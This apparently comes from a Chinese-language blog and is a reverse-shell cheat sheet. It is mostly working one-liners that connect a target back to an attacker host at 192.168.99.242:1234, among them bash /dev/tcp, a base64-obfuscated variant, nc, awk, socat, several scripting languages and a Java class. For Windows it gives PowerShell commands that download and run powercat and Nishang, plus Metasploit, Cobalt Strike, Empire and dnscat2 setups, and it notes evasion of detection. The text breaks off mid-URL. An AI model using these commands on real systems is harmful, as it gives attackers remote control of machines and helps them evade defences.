Loading ...
反弹 Shell 全姿势

一、什么是反弹 Shell

在渗透测试中,当目标主机因防火墙限制、端口过滤等原因导致无法直接连接时,反弹 Shell 技术可让目标主机主动向攻击者控制的主机发起连接,从而建立交互式命令行会话。这是内网渗透中突破网络限制、获取持续控制权限的核心手段。

基础环境约定

  • 攻击者主机 IP:192.168.99.242

  • 攻击者监听端口:1234(特殊场景会单独说明)

二、Linux 系统反弹 Shell 姿势

1. bash 原生反弹

原理

利用 bash 的重定向功能,将标准输入、输出、错误绑定到 TCP 连接,实现交互式 Shell。

命令示例

  • 基础版

    bash -i >& /dev/tcp/192.168.99.242/1234 0>&1
  • Base64 编码版(规避特殊字符检测):

    bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'
  • 变体(适用于特殊环境)

    # 方法1:通过文件描述符维持连接
    exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5;done
    
    # 方法2:直接绑定标准流
    exec /bin/sh 0</dev/tcp/192.168.99.242/1234 1>&0 2>&0

2. netcat(nc)反弹

原理

利用 netcat 的 -e 参数直接将 Shell 绑定到 TCP 连接。

命令示例

nc -e /bin/bash 192.168.99.242 1234
  • 注:部分 nc 版本不支持-e参数,需替换为管道方式:

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.99.242 1234 >/tmp/f

3. awk 反弹

原理

利用 awk 的网络编程能力建立 TCP 连接并绑定 Shell。

命令示例

awk 'BEGIN{
  s="/inet/tcp/0/192.168.99.242/1234";
  for(;s|&getline c;close(c)) while(c|getline) print|&s;
  close(s)
}'

4. telnet 反弹

原理

通过两个 telnet 连接分别传输命令和结果(需攻击者监听两个端口)。

操作步骤

  1. 攻击者同时监听 1234(输入)和 4321(输出):

    nc -lvp 1234  # 终端1:接收命令输入
    nc -lvp 4321  # 终端2:显示命令结果
  2. 目标机执行反弹命令:

    telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321

5. socat 反弹

原理

通过 socat 工具建立带伪终端的 TCP 连接,支持更稳定的交互式 Shell。

命令示例

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234
  • 优势:伪终端(pty)支持命令补全、信号传递(如 Ctrl+C)。

6. 编程语言反弹(多语言适配)

语言 反弹命令
Python python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
PHP php -r '$sock=fsockopen("192.168.99.242",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Perl perl -e 'use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Ruby ruby -rsocket -e'f=TCPSocket.open("192.168.99.242",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Lua lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.99.242','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

7. Java 反弹

步骤

  1. 编写 Java 代码(Revs.java):

    public class Revs {
        public static void main(String[] args) throws Exception {
            Runtime r = Runtime.getRuntime();
            String cmd[] = {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};
            Process p = r.exec(cmd);
            p.waitFor();
        }
    }
  2. 编译并执行:

    javac Revs.java && java Revs

三、Windows 系统反弹 Shell 姿势

1. netcat(nc)反弹

步骤

  1. 下载 nc(https://eternallybored.org/misc/netcat/)并上传至目标机。

  2. 执行反弹命令:

    nc 192.168.99.242 1234 -e c:\windows\system32\cmd.exe

2. PowerShell 反弹(powercat)

原理

powercat 是 PowerShell 实现的 netcat,免杀性优于传统 nc。

命令示例

  • 在线加载执行

    IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd
  • 本地加载执行

    Import-Module .\powercat.ps1  # 先下载powercat.ps1
    powercat -c 192.168.99.242 -p 1234 -e cmd

3. MSF 框架生成 Payload

步骤

  1. 生成 Windows 反弹 Payload:

    msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.99.242 LPORT=1234 -f raw
  2. 在 MSF 中启动监听:

    msfconsole
    use exploit/multi/handler
    set payload cmd/windows/reverse_powershell
    set LHOST 192.168.99.242
    set LPORT 1234
    run
  3. 目标机执行生成的 Payload。

4. Cobalt Strike 反弹

步骤

  1. 配置监听器:Cobalt Strike → Listeners → Add(选择windows/beacon_tcp/reverse)。

  2. 生成 Payload:Attacks → Packages → Windows Executable(保存为.exe.ps1)。

  3. 目标机执行 Payload,获取 beacon 会话。

5. Empire 框架反弹

步骤

  1. 启动 Empire 并配置监听器:

    uselistener http
    set Name test
    set Host 192.168.99.242
    set Port 1234
    execute
  2. 生成 Stager:

    usestager windows/launcher_vbs
    set Listener test
    execute  # 生成VBS脚本,目标机执行后反弹

6. Nishang 框架反弹

命令示例

  • TCP 反弹

    powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.99.242 -port 1234
  • UDP 反弹

    powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.99.242 -port 1234

7. Dnscat2(DNS 隧道反弹)

原理

通过 DNS 协议传输数据,绕过防火墙对 TCP/UDP 的限制。

步骤

  1. 服务端(攻击者):

    git clone https://github.com/iagox86/dnscat2.git
    cd dnscat2/server
    ruby dnscat2.rb --dns "domain=lltest.com,host=192.168.99.242" --no-cache -e open -e open
  2. 目标机(Windows):

    powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebagg
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇